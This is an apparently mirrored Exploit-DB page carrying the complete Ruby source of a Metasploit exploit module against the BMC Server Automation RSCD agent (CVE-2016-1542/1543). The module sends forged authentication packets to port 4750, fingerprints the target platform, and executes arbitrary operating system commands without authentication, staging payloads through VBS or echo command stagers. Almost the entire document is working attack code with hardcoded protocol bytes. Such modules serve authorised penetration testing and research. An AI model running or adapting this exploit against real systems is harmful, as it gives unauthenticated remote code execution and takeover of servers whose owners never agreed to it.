BMC Server Automation RSCD Agent – NSH Remote Command Execution (Metasploit)

  • 作者: Metasploit
    日期: 2018-02-01
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/43939/
  • ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    class MetasploitModule < Msf::Exploit::Remote
    Rank = ExcellentRanking
    
    include Exploit::Remote::Tcp
    include Msf::Exploit::CmdStager
    include Msf::Exploit::Powershell
    
    def initialize(info = {})
    super(update_info(info,
    'Name'=> 'BMC Server Automation RSCD Agent NSH Remote ' \
     'Command Execution',
    'Description' => %q(
    This module exploits a weak access control check in the BMC Server
    Automation RSCD agent that allows arbitrary operating system commands
    to be executed without authentication.
    Note: Under Windows, non-powershell commands may need to be prefixed
    with 'cmd /c'.
    ),
    'Author'=>
    [
    'Olga Yanushkevich, ERNW <@yaole0>', # Vulnerability discovery
    'Nicky Bloor (@NickstaDB) <nick@nickbloor.co.uk>' # RCE payload and Metasploit module
    ],
    'References'=>
    [
    ['URL', 'https://insinuator.net/2016/03/bmc-bladelogic-cve-2016-1542-and-cve-2016-1543/'],
    ['URL', 'https://nickbloor.co.uk/2018/01/01/rce-with-bmc-server-automation/'],
    ['URL', 'https://nickbloor.co.uk/2018/01/08/improving-the-bmc-rscd-rce-exploit/'],
    ['CVE', '2016-1542'],
    ['CVE', '2016-1543']
    ],
    'DisclosureDate'=> 'Mar 16 2016',
    'Privileged'=> false,
    'Stance'=> Msf::Exploit::Stance::Aggressive,
    'Platform'=> %w[win linux unix],
    'Targets' =>
    [
    ['Automatic', {}],
    [
    'Windows/VBS Stager', {
    'Platform' => 'win',
    'Payload' => { 'Space' => 8100 }
    }
    ],
    [
    'Unix/Linux', {
    'Platform' => %w[linux unix],
    'Payload' => { 'Space' => 32_700 }
    }
    ],
    [
    'Generic Command', {
    'Arch' => ARCH_CMD,
    'Platform' => %w[linux unix win]
    }
    ]
    ],
    'DefaultTarget' => 0,
    'License' => MSF_LICENSE,
    'Payload' => {
    'BadChars' => "\x00\x09\x0a"
    },
    'CmdStagerFlavor' => %w[vbs echo])
    )
    
    register_options(
    [
    Opt::RPORT(4750)
    ]
    )
    
    deregister_options('SRVHOST', 'SRVPORT', 'SSL', 'SSLCert', 'URIPATH')
    end
    
    def check
    # Send agentinfo request and check result
    vprint_status('Checking for BMC with agentinfo request.')
    res = send_agentinfo_request
    
    # Check for successful platform detection
    if res[0] == 1
    vprint_good('BMC RSCD agent detected, platform appears to be ' + res[1])
    return CheckCode::Detected
    end
    
    # Get first four bytes of the packet which should hold the content length
    res_len = res[1] && res[1].length > 3 ? res[1][0..3].unpack('N')[0] : 0
    
    # Return unknown if the packet format appears correct (length field check)
    if res[1] && res[1].length - 4 == res_len
    vprint_warning('Target appears to be BMC, however an unexpected ' \
     'agentinfo response was returned.')
    vprint_warning('Response: ' + res[1])
    return CheckCode::Unknown
    end
    
    # Invalid response, probably not a BMC RSCD target
    vprint_error('The target does not appear to be a BMC RSCD agent.')
    vprint_error('Response: ' + res[1]) if res[1]
    CheckCode::Safe
    end
    
    def exploit
    # Do auto target selection
    target_name = target.name
    
    if target_name == 'Automatic'
    # Attempt to detect the target platform
    vprint_status('Detecting remote platform for auto target selection.')
    platform = send_agentinfo_request
    
    # Fail if platform detection was unsuccessful
    if platform[0].zero?
    fail_with(Failure::UnexpectedReply, 'Unexpected response while ' \
    'detecting target platform.')
    end
    
    # Set target based on returned platform
    target_name = if platform[1].downcase.include?('windows')
    'Windows/VBS Stager'
    else
    'Unix/Linux'
    end
    end
    
    # Exploit based on target
    vprint_status('Generating and delivering payload.')
    if target_name == 'Windows/VBS Stager'
    if payload.raw.start_with?('powershell', 'cmd')
    execute_command(payload.raw)
    else
    execute_cmdstager(flavor: :vbs, linemax: payload.space)
    end
    handler
    elsif target_name == 'Unix/Linux'
    execute_cmdstager(flavor: :echo, linemax: payload.space)
    handler
    elsif target_name == 'Generic Cmd'
    send_nexec_request(payload.raw, true)
    end
    end
    
    # Execute a command but don't print output
    def execute_command(command, opts = {})
    if opts[:flavor] == :vbs
    if command.start_with?('powershell') == false
    if command.start_with?('cmd') == false
    send_nexec_request('cmd /c ' + command, false)
    return
    end
    end
    end
    send_nexec_request(command, false)
    end
    
    # Connect to the RSCD agent and execute a command via nexec
    def send_nexec_request(command, show_output)
    # Connect and auth
    vprint_status('Connecting to RSCD agent and sending fake auth.')
    connect_to_rscd
    send_fake_nexec_auth
    
    # Generate and send the payload
    vprint_status('Sending command to execute.')
    sock.put(generate_cmd_pkt(command))
    
    # Finish the nexec request
    sock.put("\x00\x00\x00\x22\x30\x30\x30\x30\x30\x30\x31\x61\x30\x30\x30" \
     "\x30\x30\x30\x31\x32\x77\x38\x30\x3b\x34\x31\x3b\x33\x39\x30" \
     "\x35\x38\x3b\x32\x34\x38\x35\x31")
    sock.put("\x00\x00\x00\x12\x30\x30\x30\x30\x30\x30\x30\x61\x30\x30\x30" \
     "\x30\x30\x30\x30\x32\x65\x7f")
    sock.put("\x00\x00\x00\x12\x30\x30\x30\x30\x30\x30\x30\x61\x30\x30\x30" \
     "\x30\x30\x30\x30\x32\x69\x03")
    sock.put("\x00\x00\x00\x12\x30\x30\x30\x30\x30\x30\x30\x61\x30\x30\x30" \
     "\x30\x30\x30\x30\x32\x74\x31")
    sock.put("\x00\x00\x00\x1c\x30\x30\x30\x30\x30\x30\x31\x34\x30\x30\x30" \
     "\x30\x30\x30\x30\x63\x77\x38\x30\x3b\x34\x31\x3b\x38\x30\x3b" \
     "\x34\x31")
    sock.put("\x00\x00\x00\x11\x30\x30\x30\x30\x30\x30\x30\x39\x30\x30\x30" \
     "\x30\x30\x30\x30\x31\x7a")
    
    # Get the response from the RSCD agent and disconnect
    vprint_status('Reading response from RSCD agent.')
    res = read_cmd_output
    if show_output == true
    if res && res[0] == 1
    print_good("Output\n" + res[1])
    else
    print_warning('Command execution failed, the command may not exist.')
    vprint_warning("Output\n" + res[1])
    end
    end
    disconnect
    end
    
    # Attempt to retrieve RSCD agent info and return the platform string
    def send_agentinfo_request
    # Connect and send fake auth
    vprint_status('Connecting to RSCD agent and sending fake auth.')
    connect_to_rscd
    send_fake_agentinfo_auth
    
    # Send agentinfo request, read the response, and disconnect
    vprint_status('Requesting agent information.')
    sock.put("\x00\x00\x00\x32\x30\x30\x30\x30\x30\x30\x32\x61\x30\x30\x30" \
     "\x30\x30\x30\x31\x30\x36\x34\x3b\x30\x3b\x32\x3b\x36\x66\x37" \
     "\x3b\x38\x38\x30\x3b\x30\x30\x30\x30\x30\x30\x30\x30\x32\x34" \
     "\x31\x30\x30\x30\x30\x30\x30\x30\x30")
    res = sock.get_once
    disconnect
    
    # Return the platform field from the response if it looks valid
    res_len = res.length > 3 ? res[0..3].unpack('N')[0] : 0
    return [1, res.split(';')[4]] if res &&
     res.split(';').length > 6 &&
     res.length == (res_len + 4)
    
    # Invalid or unexpected response format, return the complete response
    [0, res]
    end
    
    # Connect to the target and upgrade to an encrypted connection
    def connect_to_rscd
    connect
    sock.put('TLS')
    sock.extend(Rex::Socket::SslTcp)
    sock.sslctx = OpenSSL::SSL::SSLContext.new(:SSLv23)
    sock.sslctx.verify_mode = OpenSSL::SSL::VERIFY_NONE
    sock.sslctx.options = OpenSSL::SSL::OP_ALL
    sock.sslctx.ciphers = 'ALL'
    sock.sslsock = OpenSSL::SSL::SSLSocket.new(sock, sock.sslctx)
    sock.sslsock.connect
    end
    
    # Send fake agentinfo auth packet and ignore the response
    def send_fake_agentinfo_auth
    sock.put("\x00\x00\x00\x5e\x30\x30\x30\x30\x30\x30\x35\x36\x30\x30\x30" \
     "\x30\x30\x30\x31\x31\x36\x35\x3b\x30\x3b\x33\x35\x3b\x38\x38" \
     "\x30\x3b\x38\x38\x30\x3b\x30\x30\x30\x30\x30\x30\x30\x33\x35" \
     "\x30\x3b\x30\x3b\x37\x3b" + rand_text_alpha(7) + "\x3b\x39" \
     "\x3b\x61\x67\x65\x6e\x74\x69\x6e\x66\x6f\x3b\x2d\x3b\x2d\x3b" \
     "\x30\x3b\x2d\x3b\x31\x3b\x31\x3b\x37\x3b" + rand_text_alpha(7) +
     "\x3b\x55\x54\x46\x2d\x38")
    sock.get_once
    end
    
    # Send fake nexec auth packet and ignore theresponse
    def send_fake_nexec_auth
    sock.put("\x00\x00\x00\x5a\x30\x30\x30\x30\x30\x30\x35\x32\x30\x30\x30" \
     "\x30\x30\x30\x31\x31\x36\x35\x3b\x30\x3b\x33\x31\x3b\x64\x61" \
     "\x34\x3b\x64\x61\x34\x3b\x30\x30\x30\x30\x30\x30\x30\x33\x31" \
     "\x30\x3b\x30\x3b\x37\x3b" + rand_text_alpha(7) + "\x3b\x35" \
     "\x3b\x6e\x65\x78\x65\x63\x3b\x2d\x3b\x2d\x3b\x30\x3b\x2d\x3b" \
     "\x31\x3b\x31\x3b\x37\x3b" + rand_text_alpha(7) + "\x3b\x55" \
     "\x54\x46\x2d\x38")
    sock.get_once
    end
    
    # Generate a payload packet
    def generate_cmd_pkt(command)
    # Encode back slashes
    pkt = command.gsub('\\', "\xc1\xdc")
    
    # Encode double quotes unless powershell is being used
    pkt = pkt.gsub('"', "\xc2\x68") unless pkt.start_with?('powershell')
    
    # Construct the body of the payload packet
    pkt = pad_number(pkt.length + 32) + "\x30\x30\x30\x30\x30\x30\x31\x30" \
    "\x62\x37\x3b\x30\x3b\x32\x3b\x63\x61\x65\x3b\x64\x61\x34\x3b\x30" +
    pad_number(pkt.length) + pkt
    
    # Prefix with the packet length and return
    [pkt.length].pack('N') + pkt
    end
    
    # Convert the given number to a hex string padded to 8 chars
    def pad_number(num)
    format('%08x', num)
    end
    
    # Read the command output from the server
    def read_cmd_output
    all_output = ''
    response_done = false
    
    # Read the entire response from the RSCD service
    while response_done == false
    # Read a response chunk
    chunk = sock.get_once
    next unless chunk && chunk.length > 4
    chunk_len = chunk[0..3].unpack('N')[0]
    chunk = chunk[4..chunk.length]
    chunk += sock.get_once while chunk.length < chunk_len
    
    # Check for the "end of output" chunk
    if chunk_len == 18 && chunk.start_with?("\x30\x30\x30\x30\x30\x30\x30" \
    "\x61\x30\x30\x30\x30\x30\x30" \
    "\x30\x32\x78")
    # Response has completed
    response_done = true
    elsif all_output == ''
    # Keep the first response chunk as-is
    all_output += chunk
    
    # If the command failed, we're done
    response_done = true unless all_output[8..15].to_i(16) != 1
    else
    # Append everything but the length fields to the output buffer
    all_output += chunk[17..chunk.length]
    end
    end
    
    # Return output if response indicated success
    return [1, all_output[26..all_output.length]] if
    all_output &&
    all_output.length > 26 &&
    all_output[8..15].to_i(16) == 1
    
    # Return nothing if there isn't enough data for error output
    return [0, ''] unless all_output && all_output.length > 17
    
    # Get the length of the error output and return the error
    err_len = all_output[8..15].to_i(16) - 1
    [0, all_output[17..17 + err_len]]
    end
    end